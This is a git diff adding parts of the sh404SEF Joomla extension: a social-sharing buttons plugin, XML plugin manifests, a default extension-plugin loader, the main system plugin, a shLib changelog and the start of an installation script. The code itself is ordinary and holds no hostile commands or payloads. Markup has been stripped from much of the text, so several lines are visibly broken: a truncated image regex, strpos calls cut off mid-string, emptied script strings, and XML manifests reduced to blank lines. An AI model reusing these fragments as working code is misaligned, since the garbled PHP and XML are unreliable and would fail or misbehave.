$displayData['buttons']['googlepluspage']['googlePlusPageSize'] = $this->_params->get('googlePlusPageSize', 'medium'); + $displayData['buttons']['googlepluspage']['googlePlusCustomText'] = $this->_params->get('googlePlusCustomText', ''); + $displayData['buttons']['googlepluspage']['googlePlusCustomText2'] = $this->_params->get('googlePlusCustomText2', ''); + } + + // Pinterest + if ($this->_params->get('enablePinterestPinIt', 1) && in_array('pinterestpinit', $this->_enabledButtons)) + { + // we use either the first image in content, or the provided one (from a user created tag) + if (empty($imageSrc)) + { + // we're using the first image in the content + $regExp = '#]*)/>#ius'; + $text = empty($content->fulltext) ? (empty($content->introtext) ? '' : $content->introtext) : $content->introtext + . $content->fulltext; + $img = preg_match($regExp, $text, $match); + if (empty($img) || empty($match[1])) + { + // could not find an image in the article + // last chance is maybe webmaster is using Joomla! full text image article feature + // note: if we are not on the canonical page (ie the full article display), Joomla! + // uses the image_intro instead. However, I decided to still pin the full image + // in such case, as the image_intro will most often be a thumbnail + // Is this correct? can there be side effects? + $imageSrc = ''; + if ($context == 'com_content.article' && !empty($content->images)) + { + $registry = new JRegistry; + $registry->loadString($content->images); + $fulltextImage = $registry->get('image_fulltext'); + if (!empty($fulltextImage)) + { + $imageSrc = $fulltextImage; + $imageDesc = $registry->get('image_fulltext_alt', ''); + } + } + else if ($context == 'com_k2.item') + { + // handle K2 images feature + if (!empty($content->imageMedium)) + { + $imageSrc = JURI::root() . str_replace(JURI::base(true) . '/', '', $content->imageMedium); + $imageDesc = $content->image_caption; + } + } + } + else + { + // extract image details + jimport('joomla.utilities.utility'); + $attributes = JUtility::parseAttributes($match[1]); + $imageSrc = empty($attributes['src']) ? '' : $attributes['src']; + $imageDesc = empty($attributes['alt']) ? '' : $attributes['alt']; + } + } + if (!empty($imageSrc)) + { + if (substr($imageSrc, 0, 4) != 'http' && substr($imageSrc, 0, 1) != '/') + { + // relative url, prepend root url + $imageSrc = JURI::base() . $imageSrc; + } + $displayData['buttons']['pinterest'] = array(); + $displayData['buttons']['pinterest']['url'] = $url; + $displayData['buttons']['pinterest']['imageSrc'] = $imageSrc; + $displayData['buttons']['pinterest']['imageDesc'] = $imageDesc; + $displayData['buttons']['pinterest']['pinItCountLayout'] = $this->_params->get('pinItCountLayout', 'none'); + $displayData['buttons']['pinterest']['pinItButtonText'] = $this->_params->get('pinItButtonText', 'Pin it'); + } + } + + // FB Like + if ($this->_params->get('enableFbLike', 1) && in_array('facebooklike', $this->_enabledButtons)) + { + $layout = $this->_params->get('fbLayout', '') == 'none' ? '' : $this->_params->get('fbLayout', ''); + $fbData = array(); + $fbData['fbLayout'] = $layout; + $fbData['url'] = $url; + $fbData['enableFbSend'] = $this->_params->get('enableFbSend', 1); + $fbData['fbAction'] = $this->_params->get('fbAction', ''); + $fbData['fbWidth'] = $this->_params->get('fbWidth', ''); + $fbData['fbShowFaces'] = $this->_params->get('fbShowFaces', 'true'); + $fbData['fbColorscheme'] = $this->_params->get('fbColorscheme', 'light'); + $fbData['enableFbShare'] = $this->_params->get('enableFbShare', 1); + if ($this->_params->get('fbUseHtml5', false)) + { + $displayData['buttons']['fb-like-html5'] = $fbData; + } + else + { + $displayData['buttons']['fb-like'] = $fbData; + } + } + if ($this->_params->get('enableFbSend', 1) && in_array('facebooksend', $this->_enabledButtons)) + { + $fbData = array(); + $fbData['url'] = $url; + $fbData['fbColorscheme'] = $this->_params->get('fbColorscheme', 'light'); + + if ($this->_params->get('fbUseHtml5', false)) + { + $displayData['buttons']['fb-send-html5'] = $fbData; + } + else + { + $displayData['buttons']['fb-send'] = $fbData; + } + } + + if ($this->_params->get('enableLinkedIn', 1) && in_array('linkedin', $this->_enabledButtons)) + { + $displayData['buttons']['linkedin'] = array('loadScript' => !$this->_linkedinScriptLoaded, 'url' => $url, + 'languageTag' => $this->_underscoredLanguageTag, 'layout' => $this->_params->get('linkedinlayout', 'none')); + $this->_linkedinScriptLoaded = true; + } + + // perform replace + if (!empty($displayData['buttons'])) + { + $buttonsHtml = ShlMvcLayout_Helper::render('com_sh404sef.social.wrapper', $displayData); + } + else + { + $buttonsHtml = ''; + } + + return $buttonsHtml; + } + + private function _computeUrl($url, $sefConfig, $context, $content, $isTag = false) + { + // if no URL, use current + if (empty($url)) + { + // no url set on social button tag, we should + // use current URL, except if we are on a page + // where this would cause the wrong url to be shared + // try identify this condition + if ($isTag || $this->_shouldDisplaySocialButtons($url, $sefConfig, $context, $content)) + { + Sh404sefHelperShurl::updateShurls(); + $pageInfo = Sh404sefFactory::getPageInfo(); + if (empty($url)) + { + $url = !$this->_params->get('useShurl', true) || empty($pageInfo->shURL) ? $pageInfo->currentSefUrl + : JURI::base() . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $pageInfo->shURL; + } + } + } + + return $url; + } + + private function _shouldDisplaySocialButtons(&$url, $sefConfig, $context = '', $content = null) + { + // if SEO off, don't do anything + if (!$sefConfig->shMetaManagementActivated) + { + return false; + } + + $shouldDisplay = true; + $updatedUrl = ''; + + // user can disable this attempt to identify possible failure + // to select the correct url + if (!$this->_params->get('onlyDisplayOnCanonicalUrl', true)) + { + return $shouldDisplay; + } + + $app = JFactory::getApplication(); + $printing = $app->input->getInt('print'); + if (!empty($printing)) + { + return false; + } + + // get request details + if (empty($context)) + { + $component = ''; + $view = ''; + } + else + { + $bits = explode('.', $context); + if (!empty($bits)) + { + $component = $bits[0]; + $view = empty($bits[1]) ? $app->input->getCmd('view', '') : $bits[1]; + } + } + + if (empty($component) && empty($view)) + { + return false; + } + + switch ($component) + { + case 'com_content': + // only display if on an article page + if ($view == 'article') + { + $id = $app->input->getInt('id', 0); + if (!empty($content->id) && $id != $content->id && !empty($content->link)) + { + $updatedUrl = JURI::getInstance()->toString(array('scheme', 'host')) . $content->link; + } + } + else if ($view == 'featured') + { + if (!empty($content->id)) + { + $link = JRoute::_('index.php?option=com_content&view=article&id=' . $content->id); + $updatedUrl = JURI::getInstance()->toString(array('scheme', 'host')) . $link; + } + } + else + { + $shouldDisplay = false; + } + // check category + if ($shouldDisplay) + { + $cats = $this->_params->get('enabledCategories', array()); + $catid = null; + if (!empty($cats) && ($cats[0] != 'show_on_all')) + { + // find about article category + if (!empty($content)) + { + // we have article details + $catid = empty($content->catid) ? 0 : (int) $content->catid; + } + else + { + // no article details, use request + $catid = JRequest::getInt('catid', 0); + } + if (empty($catid)) + { + if (!empty($content) && !empty($content->id)) + { + $article = JTable::getInstance('content'); + $article->load($content->id); + $catid = !empty($article->catid) ? (int) $article->id : 0; + } + } + if (!empty($catid)) + { + $shouldDisplay = in_array($catid, $cats); + } + } + } + break; + case 'com_k2': + $shouldDisplay = $view == 'item'; + break; + default: + break; + } + + if (!empty($updatedUrl) && $shouldDisplay) + { + $url = $updatedUrl; + } + return $shouldDisplay; + } + + /** + * Insert appropriate script links into document + */ + private function _insertSocialLinks(&$page, $sefConfig) + { + $headLinks = ''; + $bottomLinks = ''; + + // what do we must link to + $showFb = strpos($page, '
    _params->get('googlePlusPage', ''); + $gPlusPage = JString::trim($gPlusPage, '/'); + $showGPlusPage = strpos($page, 'onclick="_sh404sefSocialTrack.GPageTracking') !== false && !empty($gPlusPage); + $showPinterest = strpos($page, 'class="pin-it-button"') !== false; + $showLinkedin = strpos($page, '//platform.linkedin.com/in.js') !== false; + + // insert social tracking javascript + if ($showFb || $showTwitter | $showPlusOne || $showGPlusPage || $showPinterest) + { + // G! use underscore in language tags + $channelUrl = JURI::base() . 'index.php?option=com_sh404sef&view=channelurl&format=raw&langtag=' . $this->_underscoredLanguageTag; + $channelUrl = str_replace(array('http://', 'https://'), '//', $channelUrl); + $headLinks .= "\n"; + $headLinks .= "\n"; + } + + if ($showFb) + { + $page = str_replace('"; + } + + // pinterest + if ($showPinterest) + { + $headLinks .= " + + "; + } + + if ($showFb || $showTwitter | $showPlusOne || $showGPlusPage || $showPinterest || $showLinkedin) + { + // add our wrapping css + $headLinks .= ShlMvcLayout_Helper::render('com_sh404sef.social.css'); + } + + // actually insert + if (!empty($headLinks)) + { + $headLinks .= ""; + + // insert everything in page + $page = shInsertCustomTagInBuffer($page, '', 'before', $headLinks, $firstOnly = 'first'); + } + + if (!empty($bottomLinks)) + { + // insert everything in page + $page = shInsertCustomTagInBuffer($page, '', 'before', $bottomLinks, $firstOnly = 'first'); + } + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml new file mode 100644 index 00000000..648f610e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml @@ -0,0 +1,215 @@ + + + PLG_SH404SEFCORE_SH404SEFSOCIAL + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + PLG_SH404SEFCORE_SH404SEFSOCIAL_XML_DESCRIPTION + + sh404sefsocial.php + sh404sefsocial.js + index.html + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + +
    + +
    + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + +
    + + + + + + + + + +
    + +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php new file mode 100644 index 00000000..3bf5ce9b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php @@ -0,0 +1,113 @@ +_sefPluginPath = ''; + + // check for Joomsef plugin + if( in_array( $this->_optionNoCom, $this->_config->useJoomsefRouter)) { + // check if file exists, store path if it does + $path = sh404SEF_ABS_PATH . 'plugins/sh404sefextjoomsef/'.$this->_option.'.php'; + if ( shFileExists($path)) { + $this->_sefPluginPath = $path; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_JOOMSEF_ROUTER; + } + } + + // check for Acesef plugin + if( empty( $this->_sefPluginPath) && in_array( $this->_optionNoCom, $this->_config->useAcesefRouter)) { + // check if file exists, store path if it does + $path = sh404SEF_ABS_PATH .'plugins/sh404sefextacesef/'.$this->_option.'.php'; + if ( shFileExists($path)) { + $this->_sefPluginPath = $path; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_ACESEF_ROUTER; + } + } + + // read + $useExtensionPlugin = in_array( $this->_optionNoCom, $this->_config->shDoNotOverrideOwnSef); + + // look first in component owndir for a joomla sef router.php file + $path = sh404SEF_ABS_PATH.'components/'.$this->_option.'/router.php'; + $pathSh404sefExtPlugin = sh404SEF_ABS_PATH.'components/'.$this->_option.'/sef_ext/'.$this->_option.'.php'; + $pathSh404sefBuiltinPlugin = sh404SEF_ABS_PATH.'components/com_sh404sef/sef_ext/'.$this->_option.'.php'; + if (empty( $this->_sefPluginPath) && shFileExists( $path) + && ($useExtensionPlugin // and param said use extension plugin + || (!$useExtensionPlugin // or param said do not use extension plugin BUT + && !shFileExists( $pathSh404sefExtPlugin) // we don't have any other plugin to use + && !shFileExists($pathSh404sefBuiltinPlugin)))) { + // use router.php + $this->_sefPluginPath = $path; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_JOOMLA_ROUTER; + } + + // not found yet, look into extension dir for an sh404sef native plugin + if (empty( $this->_sefPluginPath) && shFileExists( $pathSh404sefExtPlugin)) { + $this->_sefPluginPath = $pathSh404sefExtPlugin; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_SH404SEF_ROUTER; + + } + + // not found yet, look into sh404sef dir for an sh404sef native plugin + if (empty( $this->_sefPluginPath) && shFileExists( $pathSh404sefBuiltinPlugin)) { + $this->_sefPluginPath = $pathSh404sefBuiltinPlugin; + $this->_pluginType = Sh404sefClassBaseextplugin::TYPE_SH404SEF_ROUTER; + + } + + } + + protected function _findMetaPluginPath( $nonSefVars = array()) { + + $this->_metaPluginPath = ''; + + // look first in component owndir for a meta ext file + $path = sh404SEF_ABS_PATH.'components/'. $this->_option . '/meta_ext/'. $this->_option . '.php'; + if (shFileExists( $path)) { + // use router.php + $this->_metaPluginPath = $path; + } + + // then look for our own meta ext file, if any + if (empty( $this->_metaPluginPath)) { + $path = sh404SEF_ABS_PATH.'components/com_sh404sef/meta_ext/'. $this->_option . '.php'; + if(shFileExists( $path)) { + // use router.php + $this->_metaPluginPath = $path; + } + + } + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml new file mode 100644 index 00000000..454af999 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml @@ -0,0 +1,16 @@ + + + sh404sef - Default component support plugin +Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + admin@anything-digital.com + anything-digital.com + 4.4.4.1791 + Provide default support for sef urls and meta data + + sh404sefextplugindefault.php + index.html + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/index.html new file mode 100644 index 00000000..fa4dbc7e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/index.html @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.php new file mode 100644 index 00000000..434eb1c8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.php @@ -0,0 +1,439 @@ +_fixTimeWarning(); + + // get joomla application object + $app = JFactory::getApplication(); + + // check shLib is available + if (!defined('SHLIB_VERSION')) + { + $app + ->enqueuemessage( + 'sh404SEF requires the shLib system plugin to be enabled, but you appear to have disabled it. Please enable it again!', 'error'); + return; + } + + // register our autoloader + $this->_registerAutoloader(); + + // create the unique page info object, and initialize it + $pageInfo = Sh404sefFactory::getPageInfo(); + $pageInfo->init(); + + // base class + require_once(JPATH_ADMINISTRATOR . '/components/com_sh404sef/sh404sef.class.php'); + + // define a default path for loading layouts + ShlMvcLayout_Helper::$defaultBasePath = sh404SEF_LAYOUTS; + + // get our configuration + $sefConfig = &Sh404sefFactory::getConfig(); + + // hook for a few SEO hacks + if ($app->isSite()) + { + $this->_hacks(); + } + + // security layer + if (!$app->isAdmin() && $sefConfig->shSecEnableSecurity) + { + require_once(JPATH_ROOT . '/components/com_sh404sef/shSec.php'); + // do security checks + shDoSecurityChecks(); + shCleanUpSecLogFiles(); // see setting in class file for clean up frequency + } + + // optionnally collect page creation time + if (!$app->isAdmin() && $sefConfig->analyticsEnableTimeCollection) + { + jimport('joomla.error.profiler'); + // creating the profiler object will start the counter + $profiler = JProfiler::getInstance('sh404sef_profiler'); + } + + // load plugins, as per configuration + $this->_loadPlugins($type = 'sh404sefcore'); + + // load extension plugins, created by others + $this->_loadPlugins($type = 'sh404sefextplugins'); + + // hook to be able to install other SEF extension plugins + //Sh404sefHelperExtplugins::loadInstallAdapters(); + + // another hook to allow other SEF extensions language file to be loaded + Sh404sefHelperExtplugins::loadLanguageFiles(); + + if (!$sefConfig->Enabled) + { + // go away if not enabled + return; + } + + if (!defined('SH404SEF_IS_RUNNING')) + { + DEFINE('SH404SEF_IS_RUNNING', 1); + } + + if (!$app->isAdmin()) + { + // setup our JPagination replacement, so as to bring + // back # of items per page in the url, in order + // to properly calculate pagination + // will only work if php > 5, so test for that + if (version_compare(phpversion(), '5.0') >= 0) + { + // this register the old file, but do not load it if PHP5 + // will prevent further calls to the same jimport() + // to actually do anything, because the 'joomla.html.pagination' key + // is now registered statically in Jloader::import() + jimport('joomla.html.pagination'); + // now we can register our own path + JLoader::register('JPagination', JPATH_ADMINISTRATOR . '/components/com_sh404sef/pagination.php'); + } + + // attach parse and build rules to Joomla router + $joomlaRouter = $app->getRouter(); + $pageInfo->router = new Sh404sefClassRouter(); + $joomlaRouter->attachParseRule(array($pageInfo->router, 'parseRule')); + $joomlaRouter->attachBuildRule(array($pageInfo->router, 'buildRule')); + + // pretend SEF is on, mostly for Joomla SEF plugin to work + // as it checks directly 'sef' value in config, instead of + // using $router->getMode() + JFactory::$config->set('sef', 1); + + // we use opposite setting from J! + $mode = 1 - $sefConfig->shRewriteMode; + JFactory::$config->set('sef_rewrite', $mode); + + // perform startup operations, such as detecting request caracteristics + // and checking redirections + $uri = JURI::getInstance(); + $pageInfo->router->startup($uri); + } + } + + public function onAfterRoute() + { + if (defined('SH404SEF_IS_RUNNING')) + { + // set template, to perform alternate template output, if set to + $app = JFactory::getApplication(); + if (!$app->isAdmin()) + { + $this->_setAlternateTemplate(); + } + } + } + + public function onAfterDispatch() + { + if (defined('SH404SEF_IS_RUNNING')) + { + $app = JFactory::getApplication(); + + if (!$app->isAdmin()) + { + // reset alternate template + $this->_resetAlternateTemplate(); + + // create shurl on the fly for this page + // if not already done + if (Sh404sefConfigurationEdition::$id == 'full' && JFactory::getDocument()->getType() == 'html') + { + // shortlinks + Sh404sefHelperShurl::updateShurls(); + } + } + } + } + + /* page rewriting features */ + public function onAfterRender() + { + if (defined('SH404SEF_IS_RUNNING')) + { + if (JFactory::getApplication()->isAdmin()) + { + if (version_compare(JVERSION, '3.0', 'ge')) + { + // are we on an edit page? + $option = JRequest::getCmd('option'); + $view = JRequest::getCmd('view'); + $layout = JRequest::getCmd('layout'); + if ($layout == 'edit' + && (($option == 'com_content' && $view == 'article') || ($option == 'com_categories' && $view == 'category') + || ($option == 'com_contact' && $view == 'contact') || ($option == 'com_newsfeeds' && $view == 'newsfeed') + || ($option == 'com_weblinks' && $view == 'weblink'))) + { + // variations in field name + if ($option == 'com_newsfeeds' || $option == 'com_contact') + { + $titleFieldName = 'jform_name'; + } + else + { + $titleFieldName = 'jform_title'; + } + // attach an input counter to the title input boxes + $document = JFactory::getDocument(); + if ($document->getType() == 'html') + { + $page = JResponse::getBody(); + // insert css and js + $link = ''; + if (strpos($page, 'media/plg_shlib/css/bs.css') === false) + { + $link .= ''; + } + if (strpos($page, 'media/plg_shlib/js/bs.js') === false) + { + $link .= "\n" . ''; + } + if (!empty($link)) + { + $page = str_replace('', $link . '', $page); + } + + // insert custom js to attach counters to title and metadesc fields + $script = ShlHtmlBs_Helper::renderInputCounter($titleFieldName, + Sh404sefFactory::getPConfig()->metaDataSpecs['metatitle-joomla-be']); + $script .= ShlHtmlBs_Helper::renderInputCounter('jform_metadesc', + Sh404sefFactory::getPConfig()->metaDataSpecs['metadesc-joomla-be']); + $page = str_replace('', $script . '', $page); + JResponse::setBody($page); + } + } + } + + return; + } + + $sefConfig = Sh404sefFactory::getConfig(); + + // return if no seo optim to perform + if ($sefConfig->shMetaManagementActivated || Sh404sefHelperAnalytics::isEnabled()) + { + // go away if not enabled + $include = JPATH_ROOT . '/components/com_sh404sef/shPageRewrite.php'; + require_once $include; + } + } + } + + /** + * A set of SEO hacks that don't fit elsewhere + * as we usually want a very quick response and + * avoid wasted resources + * + */ + protected function _hacks() + { + // facebook: provide a channelUrl to like/Send buttons + $option = JRequest::getCmd('option', ''); + $view = JRequest::getCmd('view', ''); + $format = JRequest::getCmd('format', 'html'); + + if ($option == 'com_sh404sef' && $view == 'channelurl' && $format == 'raw') + { + // this is a request for the channelUrl + $langtag = JRequest::getCmd('langtag', 'en_GB'); + $pageContent = ''; + if (!headers_sent()) + { + $cacheExpire = 60 * 60 * 24 * 365; + header("Pragma: public"); + header("Cache-Control: max-age=" . $cacheExpire); + header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $cacheExpire) . ' GMT'); + } + echo $pageContent; + jexit(); + } + + // multilingual hack: set cookie on request to homepage, as Joomla doesn't + // associate / with default language + $app = JFactory::getApplication(); + if ($app->getLanguageFilter()) + { + if ($format == 'html' && $this->_shouldSetHomePageLanguage($app)) + { + $defaultLangCode = Sh404sefHelperLanguage::getDefaultLanguageTag(); + Sh404sefHelperLanguage::setLanguageCookie($defaultLangCode, $this->getLangCookieTime()); + // set the request var + $app->input->set('language', $defaultLangCode); + JRequest::setVar('language', $defaultLangCode); + // now set language object + JFactory::$language = JLanguage::getInstance($defaultLangCode, JFactory::getConfig()->get('debug_lang')); + $pageInfo = Sh404sefFactory::getPageInfo(); + $pageInfo->setCurrentLanguage($defaultLangCode); + } + } + } + + protected function _shouldSetHomePageLanguage($app) + { + // don't break browser language detection + $langCookie = $app->input->cookie->get(JApplication::getHash('language'), null); + if (empty($langCookie) && $app->getDetectBrowser()) + { + return false; + } + + // don't set lang on (forms) POST + if ($app->input->getMethod() == "POST" && count($app->input->post) == 0) + { + return false; + } + + $pageInfo = Sh404sefFactory::getPageInfo(); + $base = JUri::getInstance()->base(); + $request = str_replace($base, '', $pageInfo->currentSefUrl); + + // easy, just home page + if ($request == '') + { + return true; + } + + // might be some home page variation: simple, just /index.php + if ($request == 'index.php') + { + return true; + } + + // other home page variation: index.php?lang=xx: comply with that + $langCodeInUrl = Sh404sefHelperUrl::getUrlLang($request); + if (!empty($langCodeInUrl)) + { + return false; + } + + // other home page variation: index.php?val1=xx&val2=yy, we should set language + $bits = explode('?', $request); + if (!empty($bits) && $bits['0'] == 'index.php') + { + return true; + } + + return false; + } + + /** + * Load and register the plugins currently activated by webmaster + * + * @return none + */ + protected function _loadPlugins($type) + { + // required joomla library + jimport('joomla.plugin.helper.php'); + + // import the plugin files + $status = JPluginHelper::importPlugin($type); + + return $status; + } + + /** + * Register our autoloader function with PHP + */ + protected function _registerAutoloader() + { + // get Joomla autloader out + spl_autoload_unregister("__autoload"); + + // add our own + include JPATH_ADMINISTRATOR . '/components/com_sh404sef/helpers/autoloader.php'; + $registered = spl_autoload_register(array('Sh404sefAutoloader', 'doAutoload')); + + // stitch back Joomla's at the end of the list + if (function_exists("__autoload")) + { + spl_autoload_register("__autoload"); + } + + if (!defined('SH404SEF_AUTOLOADER_LOADED')) + { + define('SH404SEF_AUTOLOADER_LOADED', 1); + } + } + + protected function _fixTimeWarning() + { + // prevent timezone not set warnings to appear all over, + // especially for PHP 5.3.3+ + $serverTimezone = @date_default_timezone_get(); + @date_default_timezone_set($serverTimezone); + } + + protected function _setAlternateTemplate() + { + $app = JFactory::getApplication(); + $sefConfig = Sh404sefFactory::getConfig(); + + if (!defined('SHMOBILE_MOBILE_TEMPLATE_SWITCHED') && !empty($sefConfig->alternateTemplate)) + { + // global on/off switch + self::$_template = $app->getTemplate(); // save current template + $app->setTemplate($sefConfig->alternateTemplate); + } + } + + protected function _resetAlternateTemplate() + { + $app = JFactory::getApplication(); + $sefConfig = Sh404sefFactory::getConfig(); + + if (!defined('SHMOBILE_MOBILE_TEMPLATE_SWITCHED') && !empty($sefConfig->alternateTemplate)) + { + // global on/off switch + if (empty(self::$_template)) + { + return; + } + $app->setTemplate(self::$_template); // restore old template + } + } + + private function getLangCookieTime() + { + $cookieTime = 0; + $languageFilterPlugin = JPluginHelper::getPlugin('system', 'languagefilter'); + if (!empty($languageFilterPlugin)) + { + $params = new JRegistry($languageFilterPlugin->params); + if ($params->get('lang_cookie', 1) == 1) + { + $cookieTime = time() + 365 * 86400; + } + } + return $cookieTime; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.xml new file mode 100644 index 00000000..99b4b100 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/sh404sef/sh404sef.xml @@ -0,0 +1,16 @@ + + + sh404sef - System plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Sh404sef main system plugin + + sh404sef.php + index.html + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/changelog.log b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/changelog.log new file mode 100644 index 00000000..ca8abb0b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/changelog.log @@ -0,0 +1,65 @@ + shLib change log + + (2014-06-11 18:06 - build #370) + + + [new] XML loading helper class + [new] Added system factory class to provide J2/J3 compatible way to + build/obtain some common objects + [new] Added ability to pass a title to popup toolbar buttons + [new] Added "custom" loggin method + [new] Added Cycle class, to alternate over a provided set of values + [new] shLib nows implements layouts + [new] Added string manipulation class + [new] Added Joomla! version check before installation + [new] J3 MVC compatiblity classes + [new] Added a resource manager to allow proper install/uninstall + sequences for shared resources such as shLib + [new] Make sure our models use our expanded db class, by overriding + $this->_db when creating a model based on ShlMvcModel_base + [new] Autloader now accept an isPackage parameter when registering a + prefix, to decide whether first level path element should be + pluralized or not + [new] Added MVC compatibility layer, handling J! 2 & J! 3 + + [chg] Avoid large number of connections to memcache servers through + memcached php extension, by checking first server availability + [chg] J! 3.2 compatibility, fatal error when using ShlMvcModel_*,as + they use an shl database instance, which breaks in 3.2+ + [chg] Strict standards in j3shajaxtoolbarbutton + [chg] J! 3.2 backward compatibility break: database replace prefix now + requires string to be namequoted + [chg] Disabled Joomla! database shared memory query caching (memcache, + APC) on Joomla! 3.x and up, as these versions have framework + changes preventing implementation. Fixes #287 + [chg] getValue() on Joomla! config deprecated, would cause fatal error + [chg] Modals size is now computed when modal opens, not when link to + modal is created + [chg] Joomla 3+ popup toolbar button now accepts icon class parameter + [chg] Moved array to JS string converted to shLib + [chg] Added css files for J3 modals + [chg] Added J2/J3 toolbar buttons + [chg] Hardcoded path to Zend library, to save time and also avoid use + of glob(), which might be disabled by some hosting companies + [chg] Prefixed all supplemental db methods with 'shl', to avoid future + possible collisions with other libs or Joomla adding methods to + its db class + [chg] Added eLoadColumn() and selectColumn() to db library, deprecated + eLoadResultArray() and selectResultArray() + [chg] Added new, shorter, logging methods. Left old ones for backward + compatb + [chg] Missing index.html files in sub dirs + [chg] Logger now accept a prefix param for all methods, that will be + prepended to the log file path before writing, so as to put + different log files in different sub-dirs inside the main log + files dir Also, removed usage of deprecated Joomla logging class + methods, and accept path parameters + [chg] Now clearing output buffer before aborting HTTP request + [chg] Changed error handling for Joomla! 2/3 compatiblity + + [bug] Added #__sh404sef_urls to list of tables excluded from query + caching. + [bug] fatal error with "Enable db query cache" set to YES J2.5.x + [bug] Not always complying with logging levels, can result in mixing up + log messages + [bug] Shared memory cache not reading host address from config diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/installation.script.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/installation.script.php new file mode 100644 index 00000000..256ee341 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/installation.script.php @@ -0,0 +1,168 @@ +_updateDbStructure(); + + $this->_hacks(); + + } + + public function uninstall($parent) { + + $db = JFactory::getDbo(); + $db->dropTable('#__shlib_consumers' ); + $db->dropTable('#__shlib_resources' ); + + } + + public function update($parent) { + + // create registration table, if it was not done upon initial install + $this->_updateDbStructure(); + + $this->_hacks(); + + } + + public function preflight( $route, $installer) { + + if($route == 'install' || $route == 'update') { + // check Joomla! version + if(version_compare( JVERSION, self::MIN_JOOMLA_VERSION, '<') || version_compare( JVERSION, self::MAX_JOOMLA_VERSION, 'ge')) { + JFactory::getApplication()->enqueueMessage( sprintf( 'shLib requires Joomla! version between %s and %s (you are using %s). Aborting installation', 